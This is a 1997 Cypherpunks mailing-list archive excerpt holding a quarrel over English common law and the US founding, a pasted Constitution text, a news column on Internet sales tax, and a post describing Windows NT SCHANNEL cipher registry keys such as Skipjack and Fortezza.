   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 03:14:04 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Abandonment of legal precedence... (fwd)
In-Reply-To: <199712291853.MAA03050@einstein.ssz.com>
Message-ID: <199712291910.OAA21797@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712291853.MAA03050@einstein.ssz.com>, on 12/29/97 
   at 12:53 PM, Jim Choate <ravage@ssz.com> said:

>Forwarded message:

>> From: "William H. Geiger III" <whgiii@invweb.net>
>> Date: Mon, 29 Dec 97 11:51:15 -0600
>> Subject: Re: Abandonment of legal precedence...

>> >The *entire* point of the forming of the United States over 200 years ago
>> >was the specific intent to break with precedence, in particular *English*
>> >precedence, and find a new way.
>> 
>> Well that may sound nice and give you all kinds of warm fuzzies the fact
>> of the matter is English Common Law is the basis of the Judicial System in
>> America as it was before the break with England.
>> 
>> While the revolution changed the political form of government it did
>> little to change the judical system. Murder was still murder, theift was
>> still theift, contracts were still valid before and after the war.

>So your premise is that the changes that were implimented at the time of
>the Constitution were all the changes that the founding fathers had in
>mind? You hold that while it is clear that the founding fathers
>recognized that the quantity of change required was such that they would
>not be able to impliment it realisticaly since nobody would accept that
>range of change at one time? You further hold that the Constitution is
>not a document that holds an ideal of freedom for us which will require
>generations of striving? You seriously expect to get up one morning and
>find that no new laws will be needed and that we have solved all the
>issues respecting human interaction? You further hold that with 200+
>years of English jurisprudence behind us we have actualy attained that
>nirvana?

I don't know what you are smoking but I said nothing of the sort. You
implied that the break with England was for the purposes of overturning
the entire legal system and that English Common Law has no significance on
the current American legal system. I challenged this as it flies in the
face of fact and reality showing your complete ignorance of law and legal
history.

>In short, you would have us take it all - the good and the bad - and
>ignore our right to pick and choose what works for us?

>If we accept your view, blacks would still be slaves and women would
>still not be able to vote, and men couldn't vote unless they were landed.

Please, this is all irrelevant to the issue at hand. All legal systems
evolve, English Law of today is not word for word the same as it was 200
years ago this is not to say that it's foundations are not built upon it. 

>Do me a favor, please don't try to lick my hand.

You seem to have your anatomy wrong, if anything it would be my foot and
your ass sir.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 02:25:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: States in the Constitution
Message-ID: <199712291844.MAA02959@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



The Constitution:

	To provide for organizing, arming, and disciplining the Militia, 
and for governing such Part of them as may be employed in the Service of 
the United States, reserving to the States respectively, the Appointment 
of the Officers, and the authority of training and Militia according to 
the discipline prescribed by Congress; 

Section 10.  No State shall enter into any Treaty, Alliance, or 
Confederation; grant Letters of Marque and Reprisal; Coin Money; emit Bills 
of Credit; make any Thing but gold and silver Coin a Tender in Payment of 
Debts; pass any Bill of Attainder, ex post facto Law, or Law impairing the 
Obligation of Contracts, or grant any Title of Nobility. 
	No State shall, without the Consent of the Congress, lay any 
Imposts or Duties on Imports or Exports, except what may be absolutely 
necessary for executing its inspection Laws: and the net Produce of all 
Duties and Imposts, laid by any State on Imports or Exports, shall be for 
the Use of the Treasury of the United States; and all such Laws shall be 
subject to the Revision and Controul of the Congress. 
	No State shall, without the Consent of Congress, lay any Duty of 
Tonnage, keep Troops, or Ships of War in time of Peace, enter into any 
Agreement or Compact with another State, or with a foreign Power, or engage 
in War, unless actually invaded, or in such imminent Danger as will not admit 
of delay. 
 
	Each State shall appoint, in such Manner as the Legislature 
thereof may direct, a Number of Electors, equal to the whole Number of 
Senators and Representatives to which the State may be entitled in the 
Congress: but no Senator or Representative, or Person holding an Office of 
Trust or Profit under the United States, shall be appointed an Elector. 

Section 2.  The President shall be the Commander in Chief of the Army and 
Navy of the United States, and the Militia of the several States, when called 
into the actual Service of the United States; he may require the Opinion, in 
writing, of the principal Officer in each of the executive Departments, upon 
any Subject relating to the Duties of their respective Offices, and he shall 
have Power to grant Reprieves and Pardons for Offences against the United 
States, except in Cases of Impeachment. 

Section 2.  The judicial Power shall extend to all Cases, in Law and Equity, 
arising under this Constitution, the Laws of the United States, and Treaties 
made, or which shall be made, under their Authority; -- to all Cases affecting 
Ambassadors, other public Ministers and Consuls; -- to all Cases of admiralty 
and maritime Jurisdiction; -- to Controversies between two or more States; -- 
between a State and Citizens of another State; -- between Citizens of 
different States; -- between Citizens of the same State claiming Lands under 
Grants of different States; -- and between a State, or the Citizens thereof, 
and foreign States, Citizens or Subjects. 

	In all Cases, affecting Ambassadors, other public Ministers and 
Consuls, and those in which a State shall be Party, the supreme Court shall 
have original Jurisdiction.  In all other Cases before mentioned, the supreme 
Court shall have appellate Jurisdiction, both as to Law and Fact, with such 
Exceptions, and under such Regulations as the Congress shall make. 

Section 1.  Full Faith and Credit shall be given in each State to the 
public Acts, Records, and judicial Proceedings of every other State. And 
the Congress may by general Laws prescribe the Manner in which such Acts, 
Records and Proceedings shall be proved, and the Effect thereof. 
 
Section 2.  The Citizens of each State shall be entitled to all Privileges 
and Immunities of Citizens in the several States. 
	A Person charged in any State with Treason, Felony, or other Crime, 
who shall flee from Justice, and be found in another State, shall on Demand 
of the executive Authority of the State from with he fled, be delivered up, 
to be removed to the State having Jurisdiction of the Crime. 
	{No Person held to Service or Labour in one State, under the Laws 
thereof, escaping into another, shall, in Consequence of any Law or 
Regulation therein, be discharged from such Service or Labour, but shall be 
delivered up on Claim of the Party to whom such Service or Labour may be 
due.} [See Amendment XIII.] 
 
Section 3.  New States may be admitted by the Congress into this Union; 
but no new States shall be formed or erected within the Jurisdiction of any 
other State; nor any State be formed by the Junction of two or more States, 
or Parts of States, without the Consent of the Legislatures of the States 
concerned as well as of the Congress. 

	The Congress shall have Power to dispose of and make all needful 
Rules and Regulations respecting the Territory or other Property belonging 
to the United States, and nothing in this Constitution shall be so construed 
as to Prejudice any Claims of the United States, or of any particular State. 
 
Section 4.  The United States shall guarantee to every State in this Union 
a Republican Form of Government, and shall protect each of them against 
Invasion; and on Application of the Legislature, or of the Executive (when 
the Legislature cannot be convened) against domestic violence. 
 
	The Congress, whenever two thirds of both Houses shall deem it 
necessary, shall propose Amendments to this Constitution, or, on the 
Application of the Legislatures of two thirds of the several States, shall 
call a Convention for proposing Amendments, which, in either Case, shall be 
valid to all Intents and Purposes, as Part of this Constitution, when ratified 
by the Legislatures of three fourths of the several States, or by Conventions 
of the three fourths thereof, as the one or the other Mode of Ratification 
may be proposed by the Congress; Provided that no Amendment which shall be 
made prior to the Year One thousand eight hundred and eight shall in any 
Manner affect the first and fourth Clauses in the Ninth Section of the first 
Article; and that no State, without its Consent, shall be deprived of it's 
equal Suffrage in the Senate. 
 
	This Constitution, and the Laws of the United States which shall 
be made in Pursuance thereof; and all Treaties made, or which shall be made, 
under the Authority of the United States, shall be the supreme Law of the 
Land; and the Judges in every State shall be bound thereby, any Thing in the 
Constitution or Laws of any State to the Contrary notwithstanding. 

	The Senators and Representatives before mentioned, and the Members 
of the several State Legislatures, and all executive and judicial Officers, 
both of the United States and of the several States, shall be bound by Oath 
or Affirmation, to support this Constitution; but no religious Test shall 
ever be required as a Qualification to any Office or public Trust under the 
United States. 
 
	The Ratification of the Conventions of nine States, shall be 
sufficient for the Establishment of this Constitution between the States 
so ratifying the Same. 

The Amendments:

				ARTICLE VI. 
 
	In all criminal prosecutions, the accused shall enjoy the right 
to a speedy and public trial, by an impartial jury of the State and 
district wherein the crime shall have been committed, which district 
have been previously ascertained by law, and to be informed of the 
nature and cause of the accusation; to be confronted with the witnesses 
against him; to have compulsory process for obtaining witnesses in his 
favor, and to have Assistance of Counsel for his defence. 
 
				ARTICLE X. 
 
	The powers not delegated to the United States by the Constitution, 
nor prohibited by it to the States, are reserved to the States respectively, 
or to the people. 
 
				ARTICLE XI. 
 
	The Judicial power of the United States shall not be construed 
to extend to any suit in law or equity, commenced or prosecuted against 
one of the United States by Citizens of another State, or by Citizens 
or Subjects of any Foreign State.  [8 January 1798.] 
 
			       ARTICLE XIII. 
 
Section 1.  Neither slavery nor involuntary servitude, except as a 
punishment for crime whereof the party shall have been duly convicted, 
shall exist within the United States, or any place subject to their 
jurisdiction. 
 
Section 2.  Congress shall have the power to enforce this article by 
appropriate legislation.  [18 December 1865.] 
 
			       ARTICLE XIV. 
 
Section 1.  All persons born or naturalized in the United States, and 
subject to the jurisdiction thereof, are citizens of the United States 
and of the State wherein they reside.  No State shall make or enforce 
any law which shall abridge the privileges or immunities of citizens 
of the United States; nor shall any State deprive any person of life, 
liberty, or property, without due process of law; nor deny to any person 
within its jurisdiction the equal protection of the laws. 
 
Section 2.  Representatives shall be apportioned among the several 
States according to their respective numbers, counting the whole number 
of persons in each State, excluding Indians not taxed.  But when the right 
to vote at any election for the choice of electors for President and 
Vice President of the United States, Representatives in Congress, the 
Executive and Judicial officers of a State, or the members of the 
Legislature thereof, is denied to any of the male inhabitants of such 
State, being twenty-one years of age, and citizens of the United States, 
or in any way abridged, except for participation in a rebellion, or 
other crime, the basis of representation therein shall be reduced in 
the proportion which the number of such male citizens shall bear to the 
whole number of male citizens twenty-one years of age in such State. 
 
Section 3.  No person shall be a Senator or Representative in Congress, 
or elector of President and Vice President, or hold any office, civil 
or military, under the United States, or under any State, who, having 
previously taken an oath, as a member of Congress, or as an officer of 
the United States, or as a member of any State legislature, or as an 
executive or judicial officer of any State, to support the Constitution 
of the United States, shall have engaged in insurrection or rebellion 
against the same, or given aid or comfort to the enemies thereof.  But 
Congress may by a vote of two-thirds of each House, remove such 
disability. 
 
Section 4.  The validity of the public debt of the United States, 
authorized by law, including debts incurred for payment of pensions 
and bounties for services in suppressing insurrection or rebellion, 
shall not be questioned.  But neither the United States nor any State 
shall assume to pay any debt or obligation incurred in aid of 
insurrection or rebellion against the United States, or any claim for 
the loss or emancipation of any slave; but all such debts, obligations 
and claims shall be held illegal and void. 
 
Section 5.  The Congress shall have power to enforce, by appropriate 
legislation, the provisions of this article.  [28 July 1868.] 
 
				ARTICLE XV. 
 
Section 1.  The right of citizens of the United States to vote shall 
not be denied or abridged by the United States or by any State on 
account of race, color, or previous condition of servitude ---- 
 
Section 2.  The Congress shall have power to enforce this article by 
appropriate legislation. ----  [30 March 1870.] 
 
			       ARTICLE XVI. 
 
	The Congress shall have power to lay and collect taxes on 
incomes, from whatever source derived, without apportionment among the 
several States, and without regard to any census or enumeration. 
[25 February 1913.] 
 
			       ARTICLE XVII. 
 
	The Senate of the United States shall be composed of two 
senators from each State, elected by the people thereof, for six years 
and each Senator shall have one vote.  The electors in each State 
shall have the qualifications requisite for electors of the most 
numerous branch of the State legislature. 
	When vacancies happen in the representation of any State in 
the Senate, the executive authority of such State shall issue writs 
of election to fill such vacancies: *Provided*, That the legislature 
of any State may empower the executive thereof to make temporary 
appointments until the people fill the vacancies by election as the 
legislature may direct. 
	This amendment shall not be construed as to affect the election 
or term of any senator chosen before it becomes a valid part of the 
Constitution.  [31 May 1913.] 
 
			       ARTICLE XIX. 
 
	The right of citizens of the United States to vote shall not be 
denied or abridged by the United States or by any State on account of sex. 
	The Congress shall have power by appropriate legislation to enforce 
the provisions of this article.  [26 August 1920.] 
 
 
			       ARTICLE XXI. 
 
Section 1.  The eighteenth article of amendment to the Constitution of 
the United States is hereby repealed. 
 
Section 2.  The transportation or importation into any State, Territory 
or possession of the United States for delivery or use therein of 
intoxicating liquors, in violation of the laws thereof, is hereby 
prohibited. 
 
Section 3.  This article shall be inoperative unless it shall have been 
ratified as an amendment to the Constitution by convention in the 
everal States, as provided in the Constitution, within seven years 
from the date of the submission thereof to the States by the Congress. 
[5 December 1933.] 
 
			       ARTICLE XXVI. 
 
Section 1.  The right of citizens of the United States, who are 18 years 
of age or older, to vote shall not be denied or abridged by the United 
States or by any State on account of age. 
 
Section 2.  The Congress shall have the power to enforce this article by 
appropriate legislation.  [circa 1970/1971.] 


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cypherpunks@toad.com
Date: Tue, 30 Dec 1997 05:04:24 +0800
To: cypherpunks@toad.com
Subject: Searching_for_representatives
Message-ID: <199712292052.MAA11762@toad.com>
MIME-Version: 1.0
Content-Type: text/plain

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 02:35:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Abandonment of legal precedence... (fwd)
Message-ID: <199712291853.MAA03050@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 11:51:15 -0600
> Subject: Re: Abandonment of legal precedence...

> >The *entire* point of the forming of the United States over 200 years ago
> >was the specific intent to break with precedence, in particular *English*
> >precedence, and find a new way.
> 
> Well that may sound nice and give you all kinds of warm fuzzies the fact
> of the matter is English Common Law is the basis of the Judicial System in
> America as it was before the break with England.
> 
> While the revolution changed the political form of government it did
> little to change the judical system. Murder was still murder, theift was
> still theift, contracts were still valid before and after the war.

So your premise is that the changes that were implimented at the time of the
Constitution were all the changes that the founding fathers had in mind? You
hold that while it is clear that the founding fathers recognized that the
quantity of change required was such that they would not be able to
impliment it realisticaly since nobody would accept that range of change at
one time? You further hold that the Constitution is not a document that holds
an ideal of freedom for us which will require generations of striving? You
seriously expect to get up one morning and find that no new laws will be
needed and that we have solved all the issues respecting human interaction?
You further hold that with 200+ years of English jurisprudence behind us we
have actualy attained that nirvana?

In short, you would have us take it all - the good and the bad - and ignore
our right to pick and choose what works for us?

If we accept your view, blacks would still be slaves and women would still
not be able to vote, and men couldn't vote unless they were landed.

Do me a favor, please don't try to lick my hand.


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: damaged justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 30 Dec 1997 02:44:14 +0800
To: cypherpunks@Algebra.COM
Subject: newscolumn1.html
Message-ID: <199712291845.NAA15134@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




     [1]Microsoft Small Business [2]Business First [3]Kemper Insurance
                                 Companies
                           [4][ISMAP]-[5][USEMAP]
                                      
                                                      December 29, 1997 
                                                                        
  Tech Watch
  
Groups line up in support for Internet commerce taxes
       ______________________________________________________________
     
     John Frees
     
     Rumblings on the horizon suggest that tax-free Internet commerce
     could be coming to an end.
     
     State governments, already losing as much as $3 billion annually in
     taxes on direct-mail purchases, are taking a strong look at the
     growing market for online purchases.
     
     The Federation of Tax Administrators, the National Conference of
     State Legislatures, National League of Cities and the National
     Governors' Association all want Congress to let states tax such
     purchases.
     
     But problems involved in deciding how states could collect those
     taxes could delay any foreseeable solution.
     
     Advocacy groups favoring the collection have created an electronic
     commerce project to decide how states can obtain their share of
     taxes.
     
     But even advocates have wide differences of opinion, says Harley
     Duncan, executive director of Washington D.C.-based Federation of
     Tax Administrators.
     
     "People in the project run the gamut from those who want to apply
     taxes responsibly to everyone to those who argue that electronic
     commerce deserve special consideration, while others say we ought
     to say it should be treated the same as mail order," he says.
     
     There are some similarities -- and some differences -- between mail
     order and Internet commerce, says tax attorney Harvey Dunn of law
     firm Schottenstein Zox & Dunn. If a company has some presence in
     Ohio, say a store or a trucking company, then sales tax could be
     charged. But an out-of-state mail-order company that ships a
     product via common carrier doesn't have to charge sales tax.
     
     However, buyers should pay a "use tax" on items once they receive
     them, he says. "But no one does," Dunn says.
     
     Cars bought out of state are charged a use tax because they are
     titled, which gives the state control.
     
     The difficulty comes in determining how to collect such a tax, says
     Julie Carpenter, spokeswoman for the Ohio Department of Taxation.
     Right now, there's no way for the state to police all the goods
     that are bought elsewhere but used here.
     
     "An Ohio taxpayer's obligation is to pay the tax," she says.
     "Realistically, is this going to happen? Probably not, without
     guidelines and some oversight."
     
     Online purchases are even murkier because the Net's unique nature
     allows some products such as music, software or electronic
     magazines, to be downloaded, Duncan says.
     
     While a CD purchased in a store can be taxed, how can a government
     collect on a few megabytes sent over the Internet?
     
     The electronic commerce project is looking at a billing address
     approach, Duncan says. If the commerce terminates in a state and is
     billed to someone in that state, then that state could make a
     strong case for collecting taxes on the commerce.
     
     Another issue states face is the different taxation rates among
     states. If a product made in New Hampshire is sold online to
     someone in Ohio, should Ohio collect a sales tax even though New
     Hampshire doesn't have a state sales tax? And how should sales from
     other countries be factored?
     
     Because of these and other issues, Duncan doesn't expect project
     members to have a grasp of the issue until sometime next summer.
     
     Meanwhile, Everen Securities estimates general, apparel, furniture
     and other sales nationwide are expected to hit $795 billion by
     2000.
     
     As much as $79 billion of that will be sold online. At an average
     sales tax of 5 percent, nearly $4 billion in taxes will go
     uncollected unless the states can convince the federal government
     to figure out a way to give them a share.
     
     Got a tip for Tech Watch? Reach reporter John Frees at
     columbus@amcity.com or by phone at 461-4040, ext. 143.
     
     (c) 1997, Business First
     
                                                    [6]More News Columns

References

   1. http://www.microsoft.com/smallbiz
   2. http://www.amcity.com/columbus/
   3. http://www.KemperInsurance.com/
   4. http://www.amcity.com/columbus/maps/new_topbar.map
   5. LYNXIMGMAP:http://www.amcity.com/columbus/stories/current/newscolumn1.html#topbar
   6. http://www.amcity.com/columbus/stories/current/newscolumns.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Tue, 30 Dec 1997 04:18:37 +0800
To: Jim Choate <ravage@ssz.com>
Subject: Re: Abandonment of legal precedence... (fwd)
In-Reply-To: <199712292017.OAA03296@einstein.ssz.com>
Message-ID: <199712292014.PAA22361@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199712292017.OAA03296@einstein.ssz.com>, on 12/29/97 
   at 03:17 PM, Jim Choate <ravage@ssz.com> said:

>Dude,

>Your lack of ability to comprehend english and extrapolate to the
>fantastic is truly amazing. You should consider turning it into a money
>maker. Either that or you're having a breakdown, see a shrink. Maybe they
>can do something about these visions you're seeing.

Now if that ain't the pot calling the kettle black.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a-sha1
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNKgDeY9Co1n+aLhhAQEq5QP+NO+Pjvd1pRrvJsueYcdABC63XNbYVkXb
6xA+F+GU9LmnbNAZ4S1m1O7xdDf+fdgzKD87GNGyWqvQCb5fssDhTM1LHz8t/gPq
7A/BwkYlnyXzUhv9YWIlp4bQg/Y+Am6R584QbvMap2cZ6qRfwOK5vlMXCtI5EM8y
Hg9yRA+aJEs=
=9NFS
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 03:57:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Abandonment of legal precedence... (fwd)
Message-ID: <199712292017.OAA03296@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> From: "William H. Geiger III" <whgiii@invweb.net>
> Date: Mon, 29 Dec 97 12:37:28 -0600
> Subject: Re: Abandonment of legal precedence... (fwd)

> I don't know what you are smoking but I said nothing of the sort. You
> implied that the break with England was for the purposes of overturning
> the entire legal system and that English Common Law has no significance on
> the current American legal system. I challenged this as it flies in the
> face of fact and reality showing your complete ignorance of law and legal
> history.

Dude,

Your lack of ability to comprehend english and extrapolate to the fantastic is
truly amazing. You should consider turning it into a money maker. Either
that or you're having a breakdown, see a shrink. Maybe they can do something
about these visions you're seeing.

Happy New Year!


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Tue, 30 Dec 1997 03:27:03 +0800
To: "J.A. Terranson" <sysadmin@mfn.org>
Subject: RE: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <01BD123E.5965AD70@pdc.mfn.org>
Message-ID: <Pine.SUN.3.96.971229101829.4823B-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain




Actually, a quick browse through several machines' registry revealed this
key as well in a list of cyphers. 

The bitch lives in:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Ciphers\Skipjack

Along with shit like the following under Ciphers.

Des40/56
Des56/56
Null
RC2 128/128
RC2 128/40
RC4 128/128
RC4 40/128
RC4 64/128
Skipjack
Tripple DES 168/168

Interestingly all the DES and RC2/RC4's have the same value (0xffffffff)
for the enable key (including TrippleDES).  Skipjack, and RC4 64/128 have
different values (0x30, and 0x3f respectively).  Null has an enable value
of zero. 

Adjacent to the ciphers key, there is a key for hashes listing MD5 and
SHA, next to that is a KeyEXchangealgorithms key listing:
Diffie-Hellman, PKCS, and Fortezza.  All of these except Fortezza use
0xffffffff as the enable value.

The Fortezza and Skipjack keys have the same "Enabled" key values! 
Additionally there is a ServerHandshakeTimeout value on the Fortezza key
of 60000. 

Likely this "enabled" value is a link to some DLL that contains their
code.

There is also a key called Protocols listing: "Multi-Protocol
Unified Hello", PCT 1.0, SSL 2.0, SSL 3.0, TLS 1.0.  All of these have
subkeys of "Client" and "Server" with no values set.

Adjacent to this key, is a key called Certification Authorities, showing
shit like AT&T, GTE, MCI, Keywitness Canada, Thwate, and of course
Verisign.


I've sniffed around schannel.dll and it is what builds or looks for these
registry entries.  It also looks for rsabase.dll and crypto32.dll and
cryptodlg.dll(?).  In schannel.dll there's a string that says: Fortezza
(DSS/SHA).  So SHA is there.

IMHO, From the looks of it, these are just stubbs without any code behind
them since the RSA code contains the RC2/RC4, RSA, etc. code.  (Though I
could be wrong.)


It's not SP3.  I've got two servers with SP3 and IIS3.0with ASP and no
Skipjack keys, so that leaves IE4 or IE3 as possible suspects (or some of
the hotfixes.)  The non-Skipjack entry machines do have all the other
cyphers, so something in ie4 and/or iis4 is what adds them in.
Interestingly enough this entire subkey isn't in Nt5Beta1. :)


> to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
> classified and available (at this time) only in hardware.  Don't sweat it,
> it looks like it's just a hook or .....

Yep.

Likely what it could be is a hook to a device driver that talks to a PC
Fortezza card or some such.
 
=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 30 Dec 1997 04:09:03 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Reef & the US Postal Service... (fwd)
Message-ID: <199712292028.OAA03361@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:
>From ravage@ssz.com Mon Dec 29 14:26:57 1997
From: Jim Choate <ravage@ssz.com>
Message-Id: <199712292026.OAA03349@einstein.ssz.com>
Subject: Reef & the US Postal Service...
To: friends@ssz.com (Ravage's Friends)
Date: Mon, 29 Dec 1997 14:26:49 -0600 (CST)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 2281      


Hi,

I was playing with my dog Reef today in the yard. The postal carrier came up
and she went over to investigate, barking as usual. The postal carrier
responded by kicking at her and waving mail in her face all the while
getting closer and closer. This did nothing to calm her down. I tried to talk
to the guy while restraining the dog, who was crouched down on all fours in a
defensive position, but he just walked off without a word. I went down to the
post office and filed a complaint. The supervisor at the post office asked me
whether he had struck the dog and when I explained that had he struck the dog
or tried to mace her I would have struck the carrier and taken him to the
police station, he got defensive and began threatening me with federal action.
I explained that was fine with me, let's do it.

It's amazing that federal employees believe they can come on private property,
vandalize it with immunity, and if you attempt to defend yourself then you
are the one in the wrong.

I can't wait till/if the postal rep calls back on the mail-in complaint form
I sent off today...


    ____________________________________________________________________
   |                                                                    |
   |      Those who make peaceful revolution impossible will make       |
   |      violent revolution inevitable.                                |
   |                                                                    |
   |                                          John F. Kennedy           |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eureka-help@eureka.abc-web.com
Date: Mon, 29 Dec 1997 23:54:54 +0800
To: cypherpunks@toad.com
Subject: Successful Subscription
Message-ID: <883409961.6321.ezmlm@eureka.abc-web.com>
MIME-Version: 1.0
Content-Type: text/plain



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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 30 Dec 1997 00:35:20 +0800
To: dlv@boardwalk.dm.com
Subject: Re: Freedom Forum report on the State of the First Amendment
In-Reply-To: <19971226.145900.12766.0.Lord_Buttmonkey@juno.com>
Message-ID: <199712291612.RAA23544@basement.replay.com>
MIME-Version: 1.0
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At 02:45 PM 12/26/97 CST, Matthew L Bennett wrote:
>
>On Thu, 25 Dec 97 01:02:28 EST dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>writes:
>>lord_buttmonkey@juno.com (Matthew L Bennett) writes:
>>>
>>> Umm, no, freedom doesn't work like that.  If you open a *private*
>>> establishment, you have the right, according to the constitution, to 
>>deny
>>> *anyone* the right to enter or eat in your restraunt.
>>
>>Tell that to Denney's restaurants. (No, not in the United Fascist
>>States of Amerika you can't.)
>
>Hmmm...
>
>Apologies.  In *theory* you have those rights, on *paper*, you have those
>rights, but in *practice*, you're correct, the Government has power that
>it gleefully abuses, forcing others to comply w/ political correctness.

Well no, on paper you do have those rights, and you don't have those
rights.  Laws have been written so that you do not have those rights.
Are those laws consitutional?  No.  Does the fascist regime, or the
average apathetic American care?  No.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Tue, 30 Dec 1997 09:35:42 +0800
To: cypherpunks@Algebra.COM
Subject: Re: newscolumn1.html
In-Reply-To: <199712291845.NAA15134@yakko.cs.wmich.edu>
Message-ID: <v03102800b0cdf5ecec28@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>     "People in the project run the gamut from those who want to apply
>     taxes responsibly to everyone to those who argue that electronic
>     commerce deserve special consideration, while others say we ought
>     to say it should be treated the same as mail order," he says.

Although there are a few U.S. state decisions regarding taxation of Net commerce, which vary considerably, most critical legal analysis I've read supports the mail order paradigm.  If so, states will be hard put to effectively pressure online merchants into compliance.  Cities are facing a similar bind.

>     
>     There are some similarities -- and some differences -- between mail
>     order and Internet commerce, says tax attorney Harvey Dunn of law
>     firm Schottenstein Zox & Dunn. If a company has some presence in
